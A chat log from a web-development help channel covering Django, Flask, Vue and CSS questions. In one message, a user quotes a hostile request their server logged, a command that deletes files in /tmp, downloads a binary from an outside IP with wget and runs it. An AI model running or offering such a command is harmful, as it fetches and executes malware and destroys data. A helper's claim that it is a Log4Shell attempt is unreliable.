[2022-07-16 08:47:38] [2022-07-16 08:47:38 +0000] [1] [INFO] Shutting down: Master
[2022-07-16 08:47:38] [2022-07-16 08:47:38 +0000] [1] [INFO] Reason: Worker failed to boot.```
lost gyro
#

hello there , anybody here as any experience with voice recorder in django?

quartz storm
#

hi

worn aurora
#

hi,
post ss of directory structure

quartz storm
worn aurora
#

and your link tag

quartz storm
#

<link rel="stylesheet" href="{% static 'stylesheet/login.css' %}" />

#

@worn aurora?

worn aurora
#

hmm

#

u have

STATICFILES_FINDERS = [
    "django.contrib.staticfiles.finders.FileSystemFinder",
    "django.contrib.staticfiles.finders.AppDirectoriesFinder",
]

STATICFILES_DIRS = [
    os.path.join(PROJECT_DIR, "static"),
]

in settins ?

quartz storm
#

no

worn aurora
#

np 👍

lament wyvern
#

How could you route pages together with Vue, when your project dir looks something like:```

  • Website
    • pages
      • Login.vue
    • src
      • assets (folder)
      • components (folder)
      • css (folder)
      • App.vue
      • SCSS files
    • .gitignore
    • index.html```
frank shoal
#

or nuxt?

lament wyvern
#

vue-router

frank shoal
#

you need a router.js file for defining the routes and the component rendered on each one.

lament wyvern
#

I got a router going, it looks like this: ```js
import { createWebHistory, createRouter } from "vue-router";

import Home from "../pages/Home.vue";

const routes = [
{
path: "/",
name: "Home",
component: Home,
},
{
path: "/login",
name: "Login",
component: () => import("../pages/Login.vue"),
},
{
path: "/:catchAll(.*)",
component: () => import("../pages/NotFound.vue"),
},
];

const router = createRouter({
history: createWebHistory(),
routes,
});

export default router;
```Thought unfortunately the <template> doesn't render, whereas the CSS does. The only HTML ever rendered is the one in App.vue

frank shoal
#

You're using <route-view> in your App.vue?

#

I would put pages in src btw

#

So you would do import("./pages/Login.vue")

lament wyvern
frank shoal
#

Home.vue exists in pages?

lament wyvern
lament wyvern
frank shoal
#

That's style, which is only used to import css files

#

You need to put something in Home.vue so it can be rendered

lament wyvern
#

Oh my, thank you so much! Last time I tried Vue, it was so much more difficult. It all sort of makes sense now despite having borderline non-existent JS experience lmao.

#

Trying to make a dashboard for my bot, though I'm not quite sure how I'd even have things like forms interact with my Flask backend :/

frank shoal
#

are you using vite or webpack to build?

#

Both have a proxy feature so you can route /api to your backend process

lament wyvern
#

I'm using Vite

#

Oh, may I ask where you learned all of this?

frank shoal
#
proxy: {
  '/api': {
    target: 'https://localhost:44305'
  }
}
#

google mostly

#

and a couple smart youtubers

lament wyvern
#

ahhh

#

Does Vite also support compiling SCSS to CSS, currently I have to do it manually as my bash script doesn't recognise sass as a CLI, even with a path supplied.

frank shoal
#

Yes. Just use <style lang="scss">

#

don't forget to npm i --save-dev sass

lament wyvern
#

Wow, this is so cool

frank shoal
#

It will also compile your scss files if you import them

#

i.e. ```html
<style lang="scss">
@import "./css/style.scss";
</style>

lament wyvern
#

As for the cookies to be able to login in /login, and then to be redirected into /guilds for the dashboard, how would that sort of thing work? With Flask, Flask-Session was fine, though vue-cookies seems to be the 'equivalent' of that, for lack of a better word.

frank shoal
#

If it works, use it.

#

I usually use a JWT based solution

native tide
#

Element:

<input class="inputDefault-3FGxgL input-2g-os5" name="email" type="email" placeholder="" aria-label="Email" maxlength="999" aria-labelledby="uid_5" value="">

Hello, currently I am dealing with Python and web automation for the first time. I have an HTML element in which I would like to enter something. I have already tried many possibilities as they are on the Internet, unfortunately I was not successful with any. How can I get this element in Python and enter something there?

mystic cobalt
#

How can I make my sections not collide with each other when the page shrinks?

native tide
#

hi guys

#

im currently learning tailwind css

#

but facing a few problems with it... can anyone help me?

timber jungle
iron stream
#

What is the best structure for django project ?

#

Please help

last cove
#

Hi, Thanh

atomic sinew
#

Why does sometimes css doesn't work on one element and working on everything else in the same template? I have even checked by adding css in my css file through developer tools (My second last image, css file = guitar_blog.css) It works there. But not when I do it from my vscode guitar_blog.css .

round shard
#

how far can I go with django in terms of frontend?

#

its really limited isnt it

native tide
#

does anyone know where i can find tutorials

round shard
lament wyvern
#

I'm currently struggling integrating the backend with my frontend. Say I have an API that you provide an OAuth2 code to or an access token from an existing cookie (speaking of, I'm not sure how to do the latter anyways).

I'm planning on being able to have the frontend send a GET request to https://void.codes/api/get_guilds with the header set to {'Authorization': f'Bearer {code}}`. This would return a JSON array of objects that have guild-related data, which'd be displayed on the Vue file. Is this viable? And are there better ways of doing it?

frank shoal
#

Perfectly viable.

#

as long as void.codes accepts your CORS request

radiant garden
tulip tangle
#

im a beginner and i want to make a chess webpage game i have a grid setup and don't know where to go now. heres the code:

#

its not letting me send it

#

all i have is a grid with spaces in each element

ebon peak
#

Is there a way to use fontawesome with my flask app? I found some old tutorials online and tried to follow them but it's not working

willow canyon
ebon peak
#

So I don't know what's wrong

willow canyon
#

would you be willing to share a snippet of your html so I can see what's wrong

ebon peak
#

yea I've never had any problem using font awesome with node.js but now for some reason I can't

#

I'll delete the changes I made and I'll try to add the link again

frank shoal
#

I usually just install using npm/yarn and add node_modules as a static folder.

tiny willow
#

Hey guy's I have a project I'm working on to eliminate scammers. And I cant do a simple response post to this api with my Discord bot. Its written in python. but not sure if its appropriate to post code here especially with my private API but if I could get any assistance I'd really appreciate that thank you very much y'all

#

I was send over from Discord.bots so yeah. not sure why they sent me to web-dev's

delicate ore
#

hey guys for flask should i always use flask run?

#

if so then how do i even use it

#

it's so confusing

lament wyvern
#

I'm trying to get data from my backend, but I'm so confused on how to do this safely so some script kiddie couldn't inspect element and fetch other user data. Moreover, this is just messy (and doesn't really work due to CORS) https://mystb.in/PanelSixthCore.xml. Are there any pointers y'all could offer?

lament wyvern
#

Ooh, where could I learn about that?

stable bear
#

Is it possible to use javascript to make an html form appear after a button is pressed?

pseudo flint
young scarab
#

How would you go about creating a page where you can add new posts. the first thing that came to mind is a for loop going through database entries in order sorted by recent and limited to 3 and then having some sort of button i can access for a form to add new database entries?

young scarab
#

alright im just gonna do it that way, im sure someone will come around and tell me i've done it all wrong soon doge_kek

ionic raft
#

So, when you're using git desktop don't forget to include all files you're working on when updating the repo and pushing a deploy sigh

I was getting the weirdest error. The code was all good. BUT, I'd managed to miss deploying the views.py file for the app. face palm

young scarab
#

mistakes like that are frustrating af

#

time sinks for no reason

native tide
#

I have a model for political party. What's the best way to implement political party membership in my app? Should I add political party membership to user profiles or create a table with user, political_party, join_date and is_currently_member values? Or is there a better way?

bronze palm
#

extend user model and add party info from that

brisk mortar
#

How to append a string along with andin jinja templating engine?

#

error:

wintry marlin
#

Been trying to fix for the last 3 hours Why won't this worK?

wintry marlin
#

@brisk mortar Should I still send?

mystic cobalt
#

How can I make my entire website auto-adjust when the screen size shrinks?

languid stream
#

Hi guys, if i buy Hostinger hosting and domain, does Zyro website builder will be free to use? it asked for payment tho:) Any suggestions, which service provider will be little cost effective to buy domain and hosting at low cost provide free email and website builder:) Thank you

sick jolt
#

Hi. I got a question and tbh i dont know why i can t answer it, maybe because i haven t slept or idk :))

#

so in django, in my template, i want to put in a for block some images from a folder

#

any ideea how i can do that?

weary lantern
#

I have created a todo website i want to add todo dynamically using ajax in the table whenever there is new entry without reloading. for backend i am using flask

nova basin
#

I hope this is ok to post here; this is a side project I've been working on:

It's a dream of mine to be able to code pure Python in the web browser, and I realized that PyScript allows me to do that. I've created a fork of PyScript here where I've added some Python functions that create HTML elements so you don't have to:

https://github.com/coryfitz/pydesyn

Let me know what you think! It's very much a work in progress

GitHub

A fork of PyScript. Contribute to coryfitz/pydesyn development by creating an account on GitHub.

noble smelt
#

Heyy

#

which values should be hidden when adding firebase to a react project ?

#

i mean, even if I hide the API key, it will still be served

#

it will be available to every client

#

so do I even need to hide these values ?

stable bear
#

is FastAPI recommended over Flask and Django to create an API with python?

rigid laurel
#

It is often a better choice - but it depends on the specifics of your application

wheat hamlet
#
@views.route('/file/<filename>', methods=['GET'])
def file(filename):
    return send_file(r".\\files"+filename)```
this doesn't work, it keeps giving this error and ive tried using forward slashes, removing the . and everything
#

im using flask*

frank shoal
#

why not set your static folder in the Flask init to files?

#

app = Flask(static_folder="files", static_path="/file/")

wheat hamlet
#

there is an upload folder

#

where people upload files to

frank shoal
#

Have you looked at how flask implements static folder?

wheat hamlet
#

so it wouldnt make sense to put an upload folder in the static folder

frank shoal
#

static just means it's the same for every user

#

i.e. there's no processing involved. It's just a straight copy from filesystem to network

wheat hamlet
#

hm

#

so i should put the upload folder in the static folder

#

and use url_for()?

frank shoal
#

You can use something like this. ```py
from pathlib import Path

from flask import Flask, send_from_directory

app = Flask(name)

files_dir = Path(file).parent / "files"

@app.route("/file/path:filename")
def file(filename):
max_age = app.get_send_file_max_age(filename)
return send_from_directory(files_dir, filename, max_age=max_age)

wheat hamlet
#

ill try that

#

it doesn't error but it does return a "URL not found"

#

nvm i added another .parent to files_dir and it worked

#

thanks

formal bronze
#

I am creating a Auction website...I need some help
Explanation:
There is one person 'foo'
'foo' wants to sell his phone at my website. So he fills all the details and waits for the highest bid.
If he is satisfied with the highest bid he can close that auction.

So I want to create a button CLOSE LISTING which only 'foo' can see because he created that auction ....and other people visiting that page should not see CLOSE LISTING Button

I tried using this code but its not working

               <h2>CLOSE LISTING</h2>
{% endif %}  

That h2 tag doesn't appear on my page if the
LOGGED IN user and user who created that auction is same

indigo kettle
azure fable
#

Need a project idea for final year

manic geyser
#

Hello

#

Can someone tell me a way to share a postman collection or something similar (request, response stuff) in a team for free ??

azure fable
manic geyser
gusty hedge
#

@manic geyser you suggest people to use google but you don't follow your own advice 😂

manic geyser
bronze palm
#

just host it locally

#

and connect via ip

manic geyser
#

a tutorial or something would be nice

azure fable
#

🥲🥲

gusty hedge
#

swagger is also an option

bronze palm
#

well fastapi/django rest framework/flask

#

but ya one of the api set ups

zenith nebula
#

hey
i want to create a webscraping api for my app
does anyone have any experience with it
so they can guide me on where to start

limpid hearth
#

i.e. you want to get some data off a website?

zenith nebula
#

i want to get some dats off a website

#

and display it for the user

#

and the website needs login

formal bronze
limpid hearth
# zenith nebula and the website needs login

for library, try requests, start by logging in with your browser and check the "developers tools" (in chrome -> ... -> more tools developer tools) to see how your browser logs in

golden bone
radiant garden
#

Two good things to search are beautifulsoup and selenium

indigo kettle
#

you were trying to match a user object with the username

formal bronze
#

But when I printed both (listing.user) and (user.username) they were same
Naruto == Naruto

#

@indigo kettle

indigo kettle
#

The string representation can be whatever you want it to be

#

you just have to define __str__ on the object. But that doesn't mean that it uses that for testing equality

placid hare
#

Also, why don't you assign every user a unique ID and compare them instead?

ionic raft
# zenith nebula i want to get some dats off a website

Scraping websites is an activity to be engaged in with cautious respect. First, you can check a site's robots.txt file to see what and if they allow for scraping. Second, you can use Beautiful Soup or Selenium for scraping.

As a developer of websites with authentication (where you need to login) I can tell you that I most definitely do not want bots scraping private areas of my sites (and employ security to prevent such scraping). Authentication is a wall for a reason. If you want to scrape a website with such a wall you should research if they offer an API that you can make calls to. I remember when I was all noob at web dev. I thought web scraping was very cool. And then I became a developer with concerns such as security, data ownership and integrity. Now I understand why scraping is a practice to be engaged in respectfully. If someone is serving up data to be scraped for free, fantastic. If they give you permissions in robots. txt have at it. And if they have built an API then it's courtesy to use that vector.

hazy citrus
zenith hound
#

For some reason i cannot get flask_babel to work. When trying to generate the .pot file using the script, i get the following error

#

Trying to run it with python -m gives:

#

I've installed all packages and stuff, and even tried adding it to PATH manually

toxic bay
#

i think the pip you are using is from another version of python

zenith hound
#

Is there any way to check that?

#

I'm doing it straight through VSCode terminal

formal bronze
formal bronze
#

Hello Everyone I need some help here
I am working on watchlist page but when I add something to watchlist and view watchlist page, item added to watchlist is not visible.
Instead this return string is coming on watchlist page which I defined on watchlist model

native tide
#

Hm, is there any way to grab the arguments from the url during a post request to the server?

zenith hound
#

When working with flask-babel, is there any way to ignore certain directories? I assume it has something to do with babel.cfg but cant find anything in docs.

manic crane
#

can somone with this error ive been getting in django : django.db.utils.ProgrammingError: column Occupy_clique.occupiers does not exist my code : ```class Clique(models.Model):

class CliqueObjects(models.Manager):
    def get_queryset(self):
        return super().get_queryset().filter(level='public')
options = (
    ('private', 'Private'),
    ('public', 'Public')
)

name = models.CharField(max_length=200, null=False, blank=False,default='')
occupiers = models.IntegerField(null=False,blank=False,default=2)
created_at = models.DateTimeField(auto_now_add=True)
occupation = models.CharField(max_length=90,null=False,blank=False,default='')
level = models.CharField(max_length=10, choices=options, default='public')


objects = models.Manager() # default manager
cliqueobjects = CliqueObjects #custom manager

def __str__(self):
    return self.name ```
real vessel
drowsy ether
#

i got an assignment from a course i am about to start and i got tangled a little bit can anyone maybe give me a hand?
i need to build a flask code that print "ron is a master devops!" the python flask application should listen on the port number of my birthday (24/07)
the problem is that although flask is installed properly and the code looks ok.
when i write flask run on windows terminal it still wont run for some reason and will show me this instead.
if anyone could help i would love that and appreciate.

#

at the end it should look like this

native tide
#

pleace

native tide
drowsy ether
native tide
# drowsy ether

unindent app.run(port=2408) and instead of running flask run, run the flask file by simply using python <filename.py>

drowsy ether
novel crystal
#

haad there been no AWS like web services, would small startups be having to lend Hardware to get there service online??

#

or buy PCs

native tide
#

but in a terminal dogepray

drowsy ether
#

i tried in both but its not working😥

drowsy ether
#

can anyone help?
it is very important to me

manic crane
ivory cove
#

Got a question

#

Not exactly related to python

#

I have aa website that was coded entirely from scratch. We got the domain from GoDaddy. I have to update the contact us info on it. Can I do it through the godaddy website editor? My frd says since the website is coded from scratch, we'll have to make a new banner and then code that in

mystic wyvern
manic crane
real vessel
#

also "python manage.py check" may output some errors

dim wolf
dim wolf
dim wolf
lament wyvern
#

Would a cookie set by the frontend look something like:
UUID4: oauth2 access_token (for Discord OAuth)
If found, this access token is sent to the backend, e.g. /api/get_user and the access token as the body? The API would then return a refreshed access_token and the cycle repeats?

regal surge
#

hi, guys. i need help. so im trying to make POST request to my api in django, and yah it need a csrf token. then im trying to generate csrf token using django.middleware.csrf.get_token(request). but, where i can put the csrf token when make request using requests module? is it should be in header or body request?

balmy dock
#

I have OperationalError with my flask application running on Heroku, is anyone able to help me?

stable bear
#

How can I prevent someone from a bot/script sending a post request to my website? I only want the user to make the post request if they actually view the website and click on the submit button. I am using Flask.

sinful sandal
#

add a captcha

ornate sable
#

Hello guys, wonder if you can guide me with something. I need to create a solution that will be hosted on a server and it will need to consume and update kafka topics. Is the best approach to create an app that is always executing listening for new kafka events? Just wonder if that´s a good practice like keeping it always active on the server or there is any other recommended approach. Thanks in advance.

indigo kettle
woven marlin
ornate sable
woven marlin
#
Amazon Web Services

We announced AWS Outposts at re:Invent last December and since then have seen immense customer interest. Customers have been asking for an AWS option on-premises to run applications with low latency and local data-processing requirements. AWS Outposts is a new service slated to launch in late 2019, that brings the same infrastructure, APIs, and ...

ornate sable
#

we are starting to partner with azure, but it´s not fully setup yet

woven marlin
#

interesting .. didn't work much on Azure but I'm sure similar solutions are available. You can go as far as implementing a serverless arch on prem

timber jungle
#

Hello
I am using Flask for a html form.
I have a button.

How can i show this button only to some users?

woven marlin
#

Do you want to show to only logged in users for example?

timber jungle
woven marlin
#

So, all you need to do is use an if statement inside the HTML that checks the user info

#

something like

#
if user.admin == True ...
ornate sable
frank shoal
#

I started using graphql-strawberry with fastapi. Is there a way to get the requested fields in my @strawberry.field function?

young scarab
#

How does socket binding work with the socket library? my ip might change, but i've got ipify to be able to check if it does, can i just keep rebinding with try except?

frank shoal
#

socket binds to an interface and port. if ipify is configured sanely, it should be able to bridge connections seamlessly

#

you can bind to 0.0.0.0 to bind to all interfaces

quick cargo
#

if you're exposing to the outside world, you bind to 0.0.0.0 typically yes

young scarab
#

i'm just trying to make a pipe between two apps to send a little data back and fourth... i'm new to this - this is how it's working rn

import socket
from ipify import get_ip
other imports

ip = get_ip()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ip, 5050))
s.listen()

async def a_function(data_to_send):
  code that sends stuff to my other app```
quick cargo
#

the server shouldnt be using ipify

#

you want to use "0.0.0.0"

#

ipify is for grabbing your public ip address

#

so your client wants that, if it's going beyond your local network

young scarab
#

im derping a little i think, the ip would need to be the other machines

frank shoal
#

unless you are plugged directly into your modem without a router, you want your local ip, not public

young scarab
frank shoal
#

ipconfig

#

or just 0.0.0.0

young scarab
#

im not sending it within my local network

frank shoal
late stone
#

@daring isle my guy do you have some time?

young scarab
#

so if i have a changing ip address and a static one, i would need to get the changing one to ping the static one with its ip address every once in a while and rebind the ip if it changes or something 7739monkathink

#

or could i use the website address somehow to make it simpler

frank shoal
#

Use a service like no-ip. It's a push system where your pc tells the dns service your new ip whenever it updates.

young scarab
#

i was trying to avoid having to do that, but i guess i will thanks

young scarab
#
async def website_update(data):
    global IP
    if socket.gethostbyname("https://www.mywebsite.com") != IP:
        IP = socket.gethostbyname("https://www.mywebsite.com")
        s.bind((IP, 5050))
        s.listen()
    clientsocket, address = s.accept()
    msg = pickle.dumps(data)
    msg = bytes(f"{len(msg):<{HEADERSIZE}}", "utf-8") + msg
    clientsocket.send(msg)

how would i close socket so i could rebind the socket to a new ip 7739monkathink

#

would s.close() suffice

frank shoal
#

You shouldn't need to bind directly to your public ip.

#

that's what reverse proxies are for

#

and you technically just need to configure port forwarding.

#

also, is this really web related? Sure, you're dealing with IP addresses, but web usually implies http at some point.

young scarab
#

good point, i should probably be in networking

manic crane
manic crane
stable bear
#

Would a csrf token solve this problem?

How can I prevent someone from a bot/script sending a post request to my website? I only want the user to make the post request if they actually view the website and click on the submit button. I am using Flask.
quasi field
#

Here is an interesting question from @fast basin about concurrency in Django ```txt
I read somewhere that Django can serve 1 request at a time.
I made two end API endpoints, A & B.
A takes 60 seconds to respond ( I used time.sleep(60)
B immediately returns "Hello" with status 200.

I made request to A first and then immediately made another request to B but B returned response instantly. Ideally it should respond after 60 seconds right as it is called after A?

atomic quest
#

if I send a request how can I get a list in response in django instead of a dictionary?

indigo kettle
quasi field
#

@fast basin

#

thanks,

uneven bloom
#

Guys any ideas on capstone projects that could use machine learning

cobalt panther
#

Any place from where a beginner can learn about generic views? Especially, about mixins?

#

I have read the documentation and a few yt vids...but still have doubts...

Getting an error:

'Question' object has no attribute 'object' 
half kindle
#

Hey guys. I just quickly made a maintenance page with flask and deployed it, but it doesn't load static files after i published, but worked fine when i hosted locally. Do you have any suggestions as to what could be giving me GET 500 error?

#

It's structured like
app
|
---static
|
---- style.css
---- main.js
|
---- templates
|
---- index.html

|
---- maintenance_app.py

lament wyvern
#

I've added these functions to the <script> portion of my Vue file. I'm not quite sure if what I'm doing is right, currently it doesn't support cookies, but it should support a single session, does this seem right? https://mystb.in/ReviewerTexPure.javascript

manic crane
#

if im making a list of specific posts im i better of using detail view or list view ?

opaque rivet
#

so list view

manic crane
manic crane
timber jungle
torpid nebula
#

how creat a web with pthon؟

inland oak
# torpid nebula how creat a web with pthon؟

Bad way: U a installing Flask/Django, and using HTML templating named Jinja to make it
Good way: U a instaling Django Rest Framework/Fast API and expose JSON REST API called by your frontend made in Vue.js/React/Angular
God way: U apply right tools, be it Event Driven Architecture(with Kafka/Celery), or GraphQL exposed backend, or infrastructure deployed to kubernets, and having everything working with high reliability/uptime, and easy scalable in code growth and performance workload distribution in spliited to multiple Microservices apps. (Frontend is still still in Vue.js/React/Angular)

fossil shard
inland oak
fossil shard
#

What makes you say that?

inland oak
#

or at least it looks like this

fossil shard
#

It really isn't. I'm intrigued - what makes you think it looks like that?

inland oak
fossil shard
#

no, it's for building web apps (as it says right at the top of that embedded link)

inland oak
#

so under question if it is desktop app with web interactivity or web site

fossil shard
#

It's for building web apps - just like Django

inland oak
#

when code becomes optional, and code is fully autogenerated and not required to be written for 95% of stuff, it is already CMS

fossil shard
#

That's not how anvil works at all.

#

Code isn't optional, you write the whole thing in Python

#

There is a drag and drop interface for UI elements (but you can do that in code too, if you prefer)

inland oak
#

misguiding first page of anvil web site then.

#

it looks really Wordpressish at first page

fossil shard
#

Are you able to tell me what makes it look that way to you? (I'd feed that back to Anvil if you could)

inland oak
#

Sure, video begins with us drag dropping stuff like in a web site constructor

#

after that even if i see python, i see it is fully autogenerated at video

#

i assume it is not needed being changed at all, and just optional feature like we can adjust PHP in Wordpress too

#

especially the picture is made fully considering that we have multiple GUI windows shown at the video (3 of them)

fossil shard
#

That's really helpful. Thank you! I'll let them know!

#

In the meantime, it really isn't a low-code/no-code thing at all. (I don't work for them. I just use it).

inland oak
fossil shard
#

Right - I've never used WordPress, so I'd never make that connection. I've also been using Anvil since before the website looked anything like this, so it wouldn't occur to me.

inland oak
# fossil shard Right - I've never used WordPress, so I'd never make that connection. I've also ...

ergh. I haven't used it beyond looking from afar and just clicking some stuff in it / deploying it few times. But i saw like already three similar CMS tools, and it just strikes me immediately like same tool from this advertisement. Considering that popularity of CMS usage is more popular than frameworks, and that no code solutions are like... desired by a lot of people nowdays, it makes me assume it is yet another no-code CMS in python edition

fossil shard
#

Thanks again for the time to explain that. I've seen this sort of reaction before and never quite understood where it comes from.

inland oak
#

u a welcome

formal rapids
#

Hello

inland oak
#

but some sort of... advertisement adjustments could be not bad to make

#

Not sure to be honest how to fix it 🤔

fossil shard
#

I think they try to strike a balance between making it look accessible to beginners/hobbyists whilst not alienating experienced devs. That balance could possibly do with some adjustment.

inland oak
#

may be clarification like
It is a web framework with GUI, not CMS?

#

🤔

fossil shard
#

I shall fire these thoughts across to them!

inland oak
#

i mean, nobody asks to know that in python backend jobs

#

it looks cool for some Freelancing niche i think

#

that's kind of another point why i never gussed it being Web Framework

#

zero(at my local hiring web site 0 hits) popularity in job vanacies description for any devs

formal rapids
#

Im running flask server on aws ec2 and im getting weird requests from random ips such as "GET /shell?cd+/tmp;rm+-rf+*;wget+ 91.218.67.131/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4 HTTP/1.1" HTTPStatus.BAD_REQUEST.

Does this mean someone is trying to hack me?

inland oak
#

yes u a tried being hacked

#

more explicitely they look like trying to catch you for Java Vulnerability with logging discovered in this year? 🤔

#

Log4Shell vulnerability it looks like

inland oak
#

i think best option is probably just building apps into docker images and running common tools for vulnerability searching in them, which can be part of CI CD pipeline

formal rapids
#

Ok

inland oak
#

Also security should be good for whatever is launching those docker containers

#

well, obviously u can just don't care about it too, since it is not any kind of production.

formal rapids
#

I cant or i can?

inland oak
#

what is worst that could happen? They would just hijack your server resources for some crypto mining at worst

formal rapids
#

Alright, its just for testing using aws services tbh

inland oak
#

it would allow you to be not needing SSH access to server 🤔

#

still not solving issue with logging though

#

🤔 i think it could be solved only by container isolution between app parts then

gleaming frigate
#

Hello!
How do I in django to query a value in the bank greater than 100 and less than 1000

manic crane
#

anyone have an idea to make a SPECIFIC list of posts ?

tacit jewel
#

So here's a question: Is it true that I won't be able to use React properly in an MVT architecture of Flask or Django and the right way is hybrid solution where frontend is developed in React or Vue with backend APIs in Flask (or any other backend framework) from authentication to any kind of payload delivery from server? I have mostly developed apps in MVT style and those were not as responsive or fun on the front end side. No Ajax call, full page refresh on each submit, the basics. What is the right way of doing web development these days?

manic crane
tacit jewel
sleek tapir
#

How do you call a JS class function in HTML <script> tag? Do I need to do some kind of import?

balmy dock
#

hello is there anyone who can help me with flask app ? 😄

inland oak
balmy dock
#

ok 😄 i have running flask application on heroku, https://frantisek-jergel.herokuapp.com/quiz/ ... when I run that I get following (see image). .... i know what can be a problem, i tried to access the same data due several request. when i run that locally it is working. What I can do that i am always able to access my data?

paper jacinth
#

Hey! I’m using flask to build a web and I was wondering, how do you make a modal confirm prompt, I’ve tried some jQuery stuff and I can’t get it working, so, what do you use?

rustic delta
#

Anyone have suggestions for courses on how to build APIs with Python and courses to better understand APIs?

brisk mortar
#

Can you please tell me how to write views.py correctly?

class LessonDetailPage(DetailView):
    model = Course
    template_name = 'courses/lesson-detail.html'

    def get_context_data(self, *, object_list=None, **kwargs):

        ctx = super(LessonDetailPage, self).get_context_data(**kwargs)
        course = Course.objects.filter(slug=self.kwargs['slug']).first()
        lesson = Lesson.objects.filter(slug=self.kwargs['lesson_slug']).first()

        lesson.video = lesson.video.split("=")[1]

        ctx['title'] = lesson
        ctx['lesson'] = lesson
        return ctx

    # This method fires when submitting form data.
    def post(self, request, *args, **kwargs):
        # Get the course and the current lesson

        # Here we need to get the lesson we are on

        post = request.POST.copy()
        post['author'] = request.user
        post['lesson'] = lesson
        request.POST = post

        # Here you need to create an object based on the form class and set the POST data

        url = self.kwargs['slug'] + '/' + self.kwargs['lesson_slug']
        return redirect('/course/' + url)
inland oak
paper jacinth
inland oak
#

Recommending easily setting up with Vue CLI 5

paper jacinth
#

but the lib I use doesn't work with vuejs3, and I'm not gonna bother updating it, although it's probably simple to do

bleak gazelle
#

bruh thats sooo complicated how am i gonna be able to do that in the future

balmy dock
#

how to share data between endpoints in flask to avoid that the data doesn't exists?

frank shoal
spice perch
#

Hey, i'm building an app with flask and i'm trying to figure out how to store the same instance of a class for the app's entire lifetime and access it from any of the processes/workers running the app. I'm used to asp.net, where you register a singleton and you can access that same instance from anywhere. What's the right way to achieve this with flask?

timber jungle
#

Hello
How do you pass a jinja variable to a javascript file, without "activating" csp in line scripts with nonce

inland oak
#

provide code exmaples

timber jungle
#

I am using Python ( Flask for a web app )

I have also configured Talisman Flask for CSP.
With Talisman, to allow JS / CSS files to run, you have to add something like <script nonce={{ nonce() }} filename=file.js ></script>

And the js file is loaded.

But to allow in line scripts, you have to enable in line scripts in CSP, which is a security flaw.
< script const foo={{ bar }}></script >
( In line script )

I do not know if it makes sense, because the entire combination of Flask, Jinja and JS is complicated.
I can open my laptop if you want to, to give you some code examples.

timber jungle
#

{{ entry }} is a list from python, sometimes is of X elements, other time the list has Y elements.

And for each element from that list, it creates those 2 checkboxes and the input box.

inland oak
#

what is the benefit to use inline script?

#

interesting. <script> section even used like this is still considered as inline

#

all right. what is the benefit to use inline-inline scripts then?

timber jungle
#

And the way i did it ( the way i knew how :D ), was to getElementById

inland oak
#

if u aren't having any preprocessoring at least

inland oak
#

in the mean time i wish to insert this video once agan, since we touched js https://youtu.be/Uo3cL4nrGOk

Javascript programming language
Interview with a Javascript developer in 2022 with Jack Borrough - aired on © 2022 The Javascript.
https://imgur.com/a/PnaZq1F

Find more Javascript opinions under:
https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f

Programmer humor
Javascript humor
Programming jokes
Programming memes
Ja...

▶ Play video
timber jungle
inland oak
#

i think i know a solution

#

Yeah. I realized perfect solution

timber jungle
inland oak
#

we would be going regular frontend+backend way, except we are still using vanilla js. Recommending htmx to augment it to better way if possible

timber jungle
#

I understand. Ok, i will search into it.
Thank you very much.

inland oak
# timber jungle I understand. Ok, i will search into it. Thank you very much.

u a welcome. Jinja2 in general is not recommended for any javascript usage beyond simple cases
so only basic importing / inline scripting / + augmenting with stuff that helps a bit to have it easier, like htmx/jquery

comfortable level is achieved only when we use backend purely as JSON REST/GRAPHQL APIs
with going htmx, u would achieve proper frontend+backend separation from the start which should allow you to refactor yourself later to proper frontend if desired

#

Vue.js is quite simple to use and having everything comfortable javascript related, highly recommending it as best option

#

u a technically able to embedd static compiled Vue.js into Jinja render though, but it would be better having frontend completely separated and compiled to static files

#

besides Vue.js people also use React/Angular, but I don't recommend them due to more complicated learning curve and less comfort

#

Vue.js is minimalistic enough to be learned by backend dev without too much of a diving into frontend

timber jungle
#

Currently, for my project, i am using javascript only for some quality of life stuff.
I do not rely heavily on javascript to do the stuff.

The backend stuff i do it in python ( check if the text in the input box is entered correctly )

But thank you for the suggestions.

inland oak
#

frontend frameworks usually provide really nice SCSS preprocessor, which makes CSS WAY easier xD

timber jungle
#

I will turn my eyes to Vue.js
I see that a lot of people use it.

inland oak
#

once u tried SCSS, u would not wish ever to work with regular CSS beyond 10 lines

#

at the same time Vue.js allows to have your code nicely in components, and the main benefit of frontend framework, that state management at client side is easy peasy with it.

#

it is nightmare a bit to have any client side state management in vanila js

#

technically u can use SCSS without frontend framework though

brisk mortar
#

Why is the comment not added to the database when the button is clicked?

indigo kettle
#

you typed post.save

#

.save is a method, you need to call the method or else it doesn't do anything

#

post.save()

verbal kestrel
#

I would also recommend displaying an error response if the form is not valid instead of reloading the page, may be a better user experience

shy brook
#

hello

#

i have a js question

#

this w3 resource

#

changes the background

#

how would i set an interval to change the background to a completely new rgb color

#

every second?

#

any help would be awesome

inland oak
# shy brook every second?

The simplest way: use setTimeout function to call colour change with a second delay, and at the end of it, call new setTimeout again

indigo kettle
#

setInterval

zealous elk
#

I have a problem in css. The details are in #help-mango, please help me if you can

crude copper
#

Anyone on familiar with debugging Flask (Gunicorn) + React/Axios (Nginx) connection refused issues?

inland oak
inland oak
#

U could verify it is the issue in browser network tab

crude copper
#

I was afraid of that. Before I enabled SSL it didn't work on Chrome but would work on Safari...the issue was CORS but the "workaround" was to enable SSL. I did that, and now all browsers have the issue of Connection Refused (previously, the CORS issue wasn't connection refused)

#

And it looks like the only way to test CORS as the issue is to add @ cross_origin() decorators to all of my api calls

#

Alternatively. I did follow the flask_cors documentation and imported CORS into the main app, then wrapped the app in the CORS() method...as it states this would apply it globally...and then I restarted the Gunicorn server...same issue.

So, if we assume that it truly does apply CORS globally, it looks like it is not a CORS issue

dusk sonnet
#

Hi, i have a problem with my password reset feature for my django project where the email is getting sent to the user's spam folder and not their inbox. How can i prevent this from happening and make it send to their inbox instead of spam?

stray citrus
#

hi, I have a yaml api specification that I converted into a usable api on swaggerhub and postman

#

I have no domain to setup and test the api yet

#

Can I use django to host the api service?

balmy dock
#

I have flask application and i would like to use same instance of class in different routes. Sometimes i am unable to reach the page due to error with that instance. How can I ensure that the instance will be ready in each route?

minor horizon
#

We have a flask app and a proxy server. I know how to forward outgoing requests from our app through proxy server, using request. How can I forward incoming requests through proxy server to our app? Our app running in a different server

native citrus
#

help appreciated!

bronze sigil
#

Is FastAPI fast and reliable?

inland oak
#

